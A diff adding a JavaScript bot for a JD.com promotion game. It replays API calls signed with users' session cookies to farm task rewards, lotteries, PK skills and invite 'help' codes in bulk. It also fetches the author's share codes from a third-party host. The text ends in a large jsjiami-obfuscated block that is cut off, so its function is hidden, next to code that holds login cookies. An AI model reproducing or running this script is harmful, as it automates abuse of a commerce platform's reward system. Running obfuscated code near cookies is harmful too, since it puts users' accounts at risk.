if(JSON.stringify($.shopResult) === `{}`) continue; + $.shopTask = $.shopResult.taskVos; + for (let i = 0; i < $.shopTask.length; i++) { + $.oneTask = $.shopTask[i]; + //console.log($.oneTask); + if($.oneTask.taskType === 21 || $.oneTask.taskType === 14 || $.oneTask.status !== 1){continue;} //不做入会//不做邀请 + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.simpleRecordInfoVo; + if($.oneTask.taskType === 12){//签到 + if($.shopResult.dayFirst === 0){ + $.oneActivityInfo = $.activityInfoList; + console.log(`店铺签到`); + await takePostRequest('zoo_bdCollectScore'); + } + continue; + } + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.subtitle || $.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('zoo_collectScore'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(8000); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else { + await $.wait(2000); + console.log(`任务完成`); + } + } + } + await $.wait(1000); + let boxLotteryNum = $.shopResult.boxLotteryNum; + for (let j = 0; j < boxLotteryNum; j++) { + console.log(`开始第${j+1}次拆盒`) + //抽奖 + await takePostRequest('zoo_boxShopLottery'); + await $.wait(3000); + } + // let wishLotteryNum = $.shopResult.wishLotteryNum; + // for (let j = 0; j < wishLotteryNum; j++) { + // console.log(`开始第${j+1}次能量抽奖`) + // //抽奖 + // await takePostRequest('zoo_wishShopLottery'); + // await $.wait(3000); + // } + await $.wait(3000); + } + } + //==================================微信任务======================================================================== + $.wxTaskList = []; + if(!$.hotFlag) await takePostRequest('wxTaskDetail'); + for (let i = 0; i < $.wxTaskList.length; i++) { + $.oneTask = $.wxTaskList[i]; + if($.oneTask.taskType === 2 || $.oneTask.status !== 1){continue;} //不做加购 + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('zoo_collectScore'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(8000); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else { + await $.wait(2000); + console.log(`任务完成`); + } + } + } + //=======================================================京东金融================================================================================= + $.jdjrTaskList = []; + if(!$.hotFlag) await takePostRequest('jdjrTaskDetail'); + await $.wait(1000); + for (let i = 0; i < $.jdjrTaskList.length; i++) { + $.taskId = $.jdjrTaskList[i].id; + if($.taskId === '3980' || $.taskId === '3981' || $.taskId === '3982') continue; + if($.jdjrTaskList[i].status === '1' || $.jdjrTaskList[i].status === '3'){ + console.log(`去做任务:${$.jdjrTaskList[i].name}`); + await takePostRequest('jdjrAcceptTask'); + await $.wait(8000); + await takeGetRequest(); + }else if($.jdjrTaskList[i].status === '2'){ + console.log(`任务:${$.jdjrTaskList[i].name},已完成`); + } + } + //======================================================怪兽大作战================================================================================= + $.pkHomeData = {}; + await takePostRequest('zoo_pk_getHomeData'); + if (JSON.stringify($.pkHomeData) === '{}') { + console.log(`获取PK信息异常`); + return; + } + await $.wait(1000); + $.pkTaskList = []; + if(!$.hotFlag) await takePostRequest('zoo_pk_getTaskDetail'); + await $.wait(1000); + for (let i = 0; i < $.pkTaskList.length; i++) { + $.oneTask = $.pkTaskList[i]; + if ($.oneTask.status === 1) { + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1) { + continue; + } + console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('zoo_pk_collectScore'); + await $.wait(2000); + console.log(`任务完成`); + } + } + } + await $.wait(1000); + //await takePostRequest('zoo_pk_getTaskDetail'); + let skillList = $.pkHomeData.result.groupInfo.skillList || []; + //activityStatus === 1未开始,2 已开始 + $.doSkillFlag = true; + for (let i = 0; i < skillList.length && $.pkHomeData.result.activityStatus === 2 && $.doSkillFlag; i++) { + if (Number(skillList[i].num) > 0) { + $.skillCode = skillList[i].code; + for (let j = 0; j < Number(skillList[i].num) && $.doSkillFlag; j++) { + console.log(`使用技能`); + await takePostRequest('zoo_pk_doPkSkill'); + await $.wait(2000); + } + } + } + } catch (e) { + $.logErr(e) + } +} + +async function takePostRequest(type) { + let body = ``; + let myRequest = ``; + switch (type) { + case 'zoo_signSingle': + body = `functionId=zoo_signSingle&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_signSingle`, body); + break; + case 'zoo_getHomeData': + body = `functionId=zoo_getHomeData&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getHomeData`, body); + break; + case 'helpHomeData': + body = `functionId=zoo_getHomeData&body={"inviteId":"${$.inviteId}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getHomeData`, body); + break; + case 'zoo_collectProduceScore': + body = getPostBody(type); + myRequest = await getPostRequest(`zoo_collectProduceScore`, body); + break; + case 'zoo_getFeedDetail': + body = `functionId=zoo_getFeedDetail&body={"taskId":"${$.taskId}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getFeedDetail`, body); + break; + case 'zoo_getTaskDetail': + body = `functionId=zoo_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getTaskDetail`, body); + break; + case 'zoo_collectScore': + body = getPostBody(type); + //console.log(body); + myRequest = await getPostRequest(`zoo_collectScore`, body); + break; + case 'zoo_raise': + body = `functionId=zoo_raise&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_raise`, body); + break; + case 'help': + body = getPostBody(type); + //console.log(body); + myRequest = await getPostRequest(`zoo_collectScore`, body); + break; + case 'zoo_pk_getHomeData': + body = `functionId=zoo_pk_getHomeData&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_pk_getHomeData`, body); + break; + case 'zoo_pk_getTaskDetail': + body = `functionId=zoo_pk_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_pk_getTaskDetail`, body); + break; + case 'zoo_pk_collectScore': + body = getPostBody(type); + //console.log(body); + myRequest = await getPostRequest(`zoo_pk_collectScore`, body); + break; + case 'zoo_pk_doPkSkill': + body = `functionId=zoo_pk_doPkSkill&body={"skillType":"${$.skillCode}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_pk_doPkSkill`, body); + break; + case 'pkHelp': + body = getPostBody(type); + myRequest = await getPostRequest(`zoo_pk_assistGroup`, body); + break; + case 'zoo_getSignHomeData': + body = `functionId=zoo_getSignHomeData&body={"notCount":"1"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getSignHomeData`,body); + break; + case 'zoo_sign': + body = `functionId=zoo_sign&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_sign`,body); + break; + case 'wxTaskDetail': + body = `functionId=zoo_getTaskDetail&body={"appSign":"2","channel":1,"shopSign":""}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_getTaskDetail`,body); + break; + case 'zoo_shopLotteryInfo': + body = `functionId=zoo_shopLotteryInfo&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_shopLotteryInfo`,body); + break; + case 'zoo_bdCollectScore': + body = getPostBody(type); + myRequest = await getPostRequest(`zoo_bdCollectScore`,body); + break; + case 'qryCompositeMaterials': + body = `functionId=qryCompositeMaterials&body={"qryParam":"[{\\"type\\":\\"advertGroup\\",\\"mapTo\\":\\"resultData\\",\\"id\\":\\"05371960\\"}]","activityId":"2s7hhSTbhMgxpGoa9JDnbDzJTaBB","pageId":"","reqSrc":"","applyKey":"jd_star"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`qryCompositeMaterials`,body); + break; + case 'zoo_boxShopLottery': + body = `functionId=zoo_boxShopLottery&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_boxShopLottery`,body); + break; + case `zoo_wishShopLottery`: + body = `functionId=zoo_wishShopLottery&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_boxShopLottery`,body); + break; + case `zoo_myMap`: + body = `functionId=zoo_myMap&body={}&client=wh5&clientVersion=1.0.0`; + myRequest = await getPostRequest(`zoo_myMap`,body); + break; + case 'zoo_getWelfareScore': + body = getPostBody(type); + myRequest = await getPostRequest(`zoo_getWelfareScore`,body); + break; + case 'jdjrTaskDetail': + body = `reqData={"eid":"","sdkToken":"jdd014JYKVE2S6UEEIWPKA4B5ZKBS4N6Y6X5GX2NXL4IYUMHKF3EEVK52RQHBYXRZ67XWQF5N7XB6Y2YKYRTGQW4GV5OFGPDPFP3MZINWG2A01234567"}`; + myRequest = await getPostRequest(`listTask`,body); + break; + case 'jdjrAcceptTask': + body = `reqData={"eid":"","sdkToken":"jdd014JYKVE2S6UEEIWPKA4B5ZKBS4N6Y6X5GX2NXL4IYUMHKF3EEVK52RQHBYXRZ67XWQF5N7XB6Y2YKYRTGQW4GV5OFGPDPFP3MZINWG2A01234567","id":"${$.taskId}"}`; + myRequest = await getPostRequest(`acceptTask`,body); + break; + case 'add_car': + body = getPostBody(type); + myRequest = await getPostRequest(`zoo_collectScore`,body); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(data); + dealReturn(type, data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回异常:${data}`); + return; + } + switch (type) { + case 'zoo_signSingle': + if (data.code === 0) $.signSingle = data.data + break; + case 'zoo_getHomeData': + if (data.code === 0) { + if (data.data['bizCode'] === 0) { + $.homeData = data.data; + $.secretp = data.data.result.homeMainInfo.secretp; + $.secretpInfo[$.UserName] = $.secretp; + } + } + break; + case 'helpHomeData': + console.log(data) + if (data.code === 0) { + $.secretp = data.data.result.homeMainInfo.secretp; + //console.log(`$.secretp:${$.secretp}`); + } + break; + case 'zoo_collectProduceScore': + if (data.code === 0 && data.data && data.data.result) { + console.log(`收取成功,获得:${data.data.result.produceScore}`); + }else{ + console.log(JSON.stringify(data)); + } + if(data.code === 0 && data.data && data.data.bizCode === -1002){ + $.hotFlag = true; + console.log(`该账户脚本执行任务火爆,暂停执行任务,请手动做任务或者等待解决脚本火爆问题`) + } + break; + case 'zoo_getTaskDetail': + if (data.code === 0) { + console.log(`互助码:${data.data.result.inviteId || '助力已满,获取助力码失败'}`); + if (data.data.result.inviteId) { + $.inviteList.push({ + 'ues': $.UserName, + 'secretp': $.secretp, + 'inviteId': data.data.result.inviteId, + 'max': false + }); + } + $.taskList = data.data.result.taskVos; + } + break; + case 'zoo_collectScore': + $.callbackInfo = data; + break; + case 'zoo_raise': + if (data.code === 0) console.log(`升级成功`); + break; + case 'help': + case 'pkHelp': + //console.log(data); + switch (data.data.bizCode) { + case 0: + console.log(`助力成功`); + break; + case -201: + console.log(`助力已满`); + $.oneInviteInfo.max = true; + break; + case -202: + console.log(`已助力`); + break; + case -8: + console.log(`已经助力过该队伍`); + break; + case -6: + case 108: + console.log(`助力次数已用光`); + $.canHelp = false; + break; + default: + console.log(`怪兽大作战助力失败:${JSON.stringify(data)}`); + } + break; + case 'zoo_pk_getHomeData': + if (data.code === 0) { + console.log(`PK互助码:${data.data.result.groupInfo.groupAssistInviteId}`); + if (data.data.result.groupInfo.groupAssistInviteId) $.pkInviteList.push(data.data.result.groupInfo.groupAssistInviteId); + $.pkHomeData = data.data; + } + break; + case 'zoo_pk_getTaskDetail': + if (data.code === 0) { + $.pkTaskList = data.data.result.taskVos; + } + break; + case 'zoo_getFeedDetail': + if (data.code === 0) { + $.feedDetailInfo = data.data.result.addProductVos[0]; + } + break; + case 'zoo_pk_collectScore': + break; + case 'zoo_pk_doPkSkill': + if (data.data.bizCode === 0) console.log(`使用成功`); + if (data.data.bizCode === -2) { + console.log(`队伍任务已经完成,无法释放技能!`); + $.doSkillFlag = false; + }else if(data.data.bizCode === -2003){ + console.log(`现在不能打怪兽`); + $.doSkillFlag = false; + } + break; + case 'zoo_getSignHomeData': + if(data.code === 0) { + $.signHomeData = data.data.result; + } + break; + case 'zoo_sign': + if(data.code === 0 && data.data.bizCode === 0) { + console.log(`签到获得成功`); + if (data.data.result.redPacketValue) console.log(`签到获得:${data.data.result.redPacketValue} 红包`); + }else{ + console.log(`签到失败`); + console.log(data); + } + break; + case 'wxTaskDetail': + if (data.code === 0) { + $.wxTaskList = data.data.result.taskVos; + } + break; + case 'zoo_shopLotteryInfo': + if (data.code === 0) { + $.shopResult = data.data.result; + } + break; + case 'zoo_bdCollectScore': + if (data.code === 0) { + console.log(`签到获得:${data.data.result.score}`); + } + break; + case 'qryCompositeMaterials': + //console.log(data); + if (data.code === '0') { + $.shopInfoList = data.data.resultData.list; + console.log(`获取到${$.shopInfoList.length}个店铺`); + } + break + case 'zoo_boxShopLottery': + let result = data.data.result; + switch (result.awardType) { + case 8: + console.log(`获得金币:${result.rewardScore}`); + break; + case 5: + console.log(`获得:adidas能量`); + break; + case 2: + case 3: + console.log(`获得优惠券:${result.couponInfo.usageThreshold} 优惠:${result.couponInfo.quota},${result.couponInfo.useRange}`); + break; + default: + console.log(`抽奖获得未知`); + console.log(JSON.stringify(data)); + } + break + case 'zoo_wishShopLottery': + console.log(JSON.stringify(data)); + break + case `zoo_myMap`: + if (data.code === 0) { + $.myMapList = data.data.result.sceneMap.sceneInfo; + } + break; + case 'zoo_getWelfareScore': + if (data.code === 0) { + console.log(`分享成功,获得:${data.data.result.score}`); + } + break; + case 'jdjrTaskDetail': + if (data.resultCode === 0) { + $.jdjrTaskList = data.resultData.top; + } + break; + case 'jdjrAcceptTask': + if (data.resultCode === 0) { + console.log(`领任务成功`); + } + break; + case 'add_car': + if (data.code === 0) { + let acquiredScore = data.data.result.acquiredScore; + if(Number(acquiredScore) > 0){ + console.log(`加购成功,获得金币:${acquiredScore}`); + }else{ + console.log(`加购成功`); + } + }else{ + console.log(JSON.stringify(data)); + console.log(`加购失败`); + } + break + default: + console.log(`未判断的异常${type}`); + } +} +function takeGetRequest(){ + return new Promise(async resolve => { + $.get({ + url:`https://ms.jr.jd.com/gw/generic/mission/h5/m/finishReadMission?reqData={%22missionId%22:%22${$.taskId}%22,%22readTime%22:8}`, + headers:{ + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection' : `keep-alive`, + 'Accept' : `*/*`, + 'Referer' : `https://prodev.m.jd.com`, + 'Host' : `ms.jr.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + }, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.resultCode === 0) { + console.log(`任务完成`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//领取奖励 +function callbackResult(info) { + return new Promise((resolve) => { + let url = { + url: `https://api.m.jd.com/?functionId=qryViewkitCallbackResult&client=wh5&clientVersion=1.0.0&body=${info}&_timestamp=` + Date.now(), + headers: { + 'Origin': `https://bunearth.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `*/*`, + 'Host': `api.m.jd.com`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn`, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://bunearth.m.jd.com' + } + } + + $.get(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + console.log(data.toast.subTitle) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) +} + +async function getPostRequest(type, body) { + let url = `https://api.m.jd.com/client.action?functionId=${type}`; + if(type === 'listTask' || type === 'acceptTask' ){ + url = `https://ms.jr.jd.com/gw/generic/hy/h5/m/${type}`; + } + const method = `POST`; + const headers = { + 'Accept': `application/json, text/plain, */*`, + 'Origin': `https://wbbny.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': $.cookie, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Host': `api.m.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://wbbny.m.jd.com`, + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers, body: body}; +} + +function getPostBody(type) { + let taskBody = ''; + if (type === 'help') { + taskBody = `functionId=zoo_collectScore&body=${JSON.stringify({"taskId": 2,"inviteId":$.inviteId,"actionType":1,"ss" :getBody()})}&client=wh5&clientVersion=1.0.0` + } else if (type === 'pkHelp') { + taskBody = `functionId=zoo_pk_assistGroup&body=${JSON.stringify({"confirmFlag": 1,"inviteId" : $.pkInviteId,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`; + } else if (type === 'zoo_collectProduceScore') { + taskBody = `functionId=zoo_collectProduceScore&body=${JSON.stringify({"ss" :getBody()})}&client=wh5&clientVersion=1.0.0`; + } else if(type === 'zoo_getWelfareScore'){ + taskBody = `functionId=zoo_getWelfareScore&body=${JSON.stringify({"type": 2,"currentScence":$.currentScence,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`; + } else if(type === 'add_car'){ + taskBody = `functionId=zoo_collectScore&body=${JSON.stringify({"taskId": $.taskId,"taskToken":$.taskToken,"actionType":1,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0` + }else{ + taskBody = `functionId=${type}&body=${JSON.stringify({"taskId": $.oneTask.taskId,"actionType":1,"taskToken" : $.oneActivityInfo.taskToken,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0` + } + return taskBody +} + +/** + * 随机从一数组里面取 + * @param arr + * @param count + * @returns {Buffer} + */ +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function getAuthorShareCode(url = "http://cdn.annnibb.me/eb6fdc36b281b7d5eabf33396c2683a2.json") { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xodZ='jsjiami.com.v6',_0x10d2=[_0xodZ,'w5nCgMKqwoIdGUrDjGYKw7IQ','flvDj8KEw64bfXFyIsKOcQ==','wpx3fwlO','w6rCg8OrW00=','wqzDtybCl8ON','wp8bw4XDjsOe','WngiwrU6','w5MOwprDtMK3Y8KxNVhewo3Dl1sa','bG1KwpvDgA==','SRLDuEjDscOhY8KywqfDnQzDqQ==','w63Ds8K8wpMe','w4V9w493w55hNXhXGsOlRw==','TmvChB8C','VsO5SVJ5KkjCvsOkwoTCqsOW','w5fCr8K8MQo=','wrpcHMO3JA==','wpdCwozDkMKR','YVACwqce','wrPCv8KZGSE=','wr4Rw7vDrMON','wpPCkhTCrkbCol7CqWRn','wpVqcQck','TsOmTTV+','asKPw5/Cmgw=','ZMK+RcKjGA==','b2hLwqvDnQ==','w5XDu8KuwrsD','UcOJWyFJ','wqXCucOjwqXDow==','w7fCkcKmwrkY','wonDk8O7wq16','wpPCu8OlwoTDmw==','w48EVMKAw6s=','BW3CmywK','w67CocKOwqUZ','ZcKRScKUCQ==','Ql7DicK4w4Y=','wqJFAMOFwrk=','wr7DocOpwqVI','w5LDtCLDhMKU','wrQDw5bDgMOq','wq3DvCrCqsOx','wpvCscK9BjI=','wqJTdy0L','wrzCqC3Dgko=','w6x/w5B7bhLDscKYYMK9BsOSfS4bw74ZI09EwqU8w6AQLHLDpsKkwpt6eCEZVTFmwrczw4ETw6oJTAEIw5vCsXDCjyhYXivDrQ7DgRJPIcK0w7VmT8ODw6TCgUo7ITAaDsO6IiPDpcKObcK3UMOVwq4Vwp1vw6suwrRDwrISw78DwqTDtMKMwrHDtsObSMK6KcKaTsOkw4zDgcKwDcKB','w5vDusK7w5TDn8K1acKPdTLCv2o=','w6g/esK+w5I=','P8KdW0py','w67CnsOeXFc=','w7vDu8KMwoImw5EDwqc=','wqwlw7/DrMOt','w5UAwp4=','TMK9Z1dZdw==','CmLCkSlo','woVmw5NFw6l7IXlgSMKw','w6MGwqbCm2dbblXClydZ','w4bDisOlwonCmg==','wpzCs8Oqwr7Dnw==','O1PDncKiUQ==','wr7Cq8OywqbDtw==','bsObdjxT','wo49w6fDtMOF','LcK/RnNY','woZ5bC9S','wpvDncOMwrhOw6PDmws=','w4tLSsKgFw==','w53CuH/DnsO2','wq7ChsONwr7DsA==','w5kfwr7DmMK0','w5bDnQHDisKm','wplcPcO8wo0=','w4zChsKowq0d','wptcwqrDt8K9','w40ke8Kyw4c=','w5ZPw4RleA==','wpfCjsK7PD4=','w5fDjFvDlcKM','w5hCVcKqAg==','wqfDoDLCkcOi','wrLDpy7CtMOU','QGzCmjchw4Q=','QMO+VVc=','wqLCs8OlwozDgA==','w7rDi8O6wo0=','w77DgsKOwoMD','YwY7woA=','KFLChSoc','YcKORsKhDQ==','w4cfV8KLw5k=','XcO8Uito','w5jCqcKZNA8=','SnrChTcg','VsOiJ24w','VMOgP18F','wqJIO8OZwqs=','VMK2w4XClig=','w6wjQsKyw5Q=','w4Ivwqhqaw==','w70neMKTw6M=','wopTH8OLwqY=','wowrw5jDrsO7','CcKmXXxu','w6/DgjrDisKUPA==','w73CosOXX8OkdA==','w7d0w7dTTw==','XBJgwpXCl8Kaw4cn','w7LCr8OYSsOTc29Jwrot','wojCl8OGwqTDujDDmcKRFsK3','CHzCqgIj','wop6XDJrw6wpwrk=','wp3Dl8OvwqBdw6nDkA==','wqJeBMORwos=','WMKXdMK+Jg==','w4JrY8KuJg==','w7TCuk/DvcOa','w5fCtcOzVU0I','w5ZXbMKuAjU=','Xholwr/CvA==','wo3Dmh7CkMOQ','w6thw7gJw6I=','AMKiQWlQ','w49qw459w6lh','YA8Vw5PDvQ==','wpNtZTFa','w50kwohOXQ==','wodqBMO5JMO3','wpzCnxvCu3HCpQ==','w6I2e8K2w5QT','DW/DqcKgXMKmwqw1E20=','VcODHUI=','wpnCjxrDu0A=','wohlZS8kw5bCrg==','Ck/DocKBWA==','woHDosO+wpp0','w7A2wovDusKk','w4dCw5Ym','w63CpVPDnMO0','USA8wrzCsBobasOHCA==','XxsHw4DDuA==','B0DChS4Pw7M=','YRPDoVTDpw==','w5cKwofDnMK0ZQ==','a2XCgB86','w5DDghPDmcKF','bRZ1woXCgw==','eRwhwoY=','w7o8RsKlw5ISwpLDgg==','wp5fwozDlcKq','w6PDscKxwpEgw5A=','csOnOW8j','wrfDvD7CocOiLEvCjAFQ','woPDl8OxwqtIw6I=','w6bCpcO+b8OT','wqXCvBTCo1w=','VQ81FjDCrcOg','S0rCtwAR','w5LDv0/DpsK8','ECjwlHTsjiLaXmi.ATzVqqcom.Gv6=='];(function(_0x3af7b2,_0xef381f,_0x5991ff){var _0x23152b=function(_0x3edb8e,_0x5bf10d,_0x4806de,_0x2ad583,_0x2541f8){_0x5bf10d=_0x5bf10d>>0x8,_0x2541f8='po';var _0x271348='shift',_0x1e1d6a='push';if(_0x5bf10d<_0x3edb8e){while(--_0x3edb8e){_0x2ad583=_0x3af7b2[_0x271348]();if(_0x5bf10d===_0x3edb8e){_0x5bf10d=_0x2ad583;_0x4806de=_0x3af7b2[_0x2541f8+'p']();}else if(_0x5bf10d&&_0x4806de['replace'](/[ECwlHTLXATzVqqG=]/g,'')===_0x5bf10d){_0x3af7b2[_0x1e1d6a](_0x2ad583);}}_0x3af7b2[_0x1e1d6a](_0x3af7b2[_0x271348]());}return 0x8dc47;};return _0x23152b(++_0xef381f,_0x5991ff)>>_0xef381f^_0x5991ff;}(_0x10d2,0x64,0x6400));var _0x5d0f=function(_0x27842b,_0xf82ddd){_0x27842b=~~'0x'['concat'](_0x27842b);var _0x3feb27=_0x10d2[_0x27842b];if(_0x5d0f['JzCYFE']===undefined){(function(){var _0x5a67c0=function(){var _0xbaf440;try{_0xbaf440=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3cf27a){_0xbaf440=window;}return _0xbaf440;};var _0x544084=_0x5a67c0();var _0xe48a6c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x544084['atob']||(_0x544084['atob']=function(_0x1f5173){var _0x41e4dc=String(_0x1f5173)['replace'](/=+$/,'');for(var _0x3148f4=0x0,_0x502018,_0x12e8c9,_0x2a589c=0x0,_0x3a9d1a='';_0x12e8c9=_0x41e4dc['charAt'](_0x2a589c++);~_0x12e8c9&&(_0x502018=_0x3148f4%0x4?_0x502018*0x40+_0x12e8c9:_0x12e8c9,_0x3148f4++%0x4)?_0x3a9d1a+=String['fromCharCode'](0xff&_0x502018>>(-0x2*_0x3148f4&0x6)):0x0){_0x12e8c9=_0xe48a6c['indexOf'](_0x12e8c9);}return _0x3a9d1a;});}());var _0x2f0f2e=function(_0x3cd7b7,_0xf82ddd){var 